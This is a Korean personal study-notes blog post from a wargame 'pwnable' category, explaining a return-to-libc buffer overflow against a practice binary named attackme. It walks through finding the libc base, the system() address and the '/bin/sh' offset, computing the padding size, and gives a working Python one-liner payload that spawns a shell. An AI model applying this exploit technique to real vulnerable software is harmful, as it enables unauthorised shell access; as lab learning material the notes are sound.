2017. 11. 27. 19:21ㆍ0x04 pwnable
ldd -> libc 경로 알 수 있음
(ldd는 지정한 프로그램의 라이브러리 의존성을 확인할 때 사용한다고 한다.)
지금 내 프로그램에서 사용중인 라이브러리를 알기 위해 ldd ./attackme를 명령으로 입력한 것
사용중인 라이브러리 libc.so.6
ldd attackme
원리:
ldd attackme를 하게 되면 베이스주소를 알 수가 있고
베이스주소만으로는 진행할 수 없기 때문에 해당 라이브러리 libc.so.6안에 있는 /bin/sh의 오프셋 주소를 얻어와서
베이스 + 오프셋 하여 '/bin/sh'이 등록되어 있는 메모리 주소를 알아내야 한다.
즉, libc내의 함수주소를 얻어오는 거다.
그 주소를 알아냈다면, dummy와 system + dummy + bin/sh의 오프셋을 이용하여 해당 프로그램이 /bin/sh을 실행할 수 있게 한다.
libc base 0x42000000
gdb 들어가서 print system 하면 된다
system 0x4203f2c0
bin_sh off 0x127ea4
bin_sh addr = libcbase+bin_sh off
shell code + dummy + shelladdr = 0x42127ea4
기억해야할 것
[아는동생] [오후 7:05] 아까 변수거리가 ebp-264였으니
[아는동생] [오후 7:05] dummy size =(264+4)
** 변수 거리 항상 체크할 것
더미를 넣어주는 이유는 system함수나 execl 함수는 ebp+8위치의 인자를 인식한다.
----
ebp+4 = eip
ebp+8 = 함수의 첫번째 인자
ebp+c = 함수의 두번째 인자
----
[dummy size] [libc에서 알아낸 시스템 주소] [dummy 4개] [libc에서 알아낸 /bin/sh주소]
(python -c 'print "\x90"*268+"\xc0\xf2\x03\x42"+"A"*4+"\xa4\x7e\x12\x42"' cat)| ./attackme
--------------------------------------------
/bin/sh주소알아내는 python code
f = open("./libc.so.6","r")
data = f.read(10000000)
print hex(data.index("/bin/sh\x00"))
'0x04 pwnable' 카테고리의 다른 글
bof 기초 (0) | 2017.11.27 |
---|---|
rtl 공부 2 (0) | 2017.11.27 |
Main HEAP and Thread HEAP (0) | 2017.10.30 |
공부 내용 (0) | 2017.10.23 |
Lord of Bof 2번 문제 (0) | 2017.07.07 |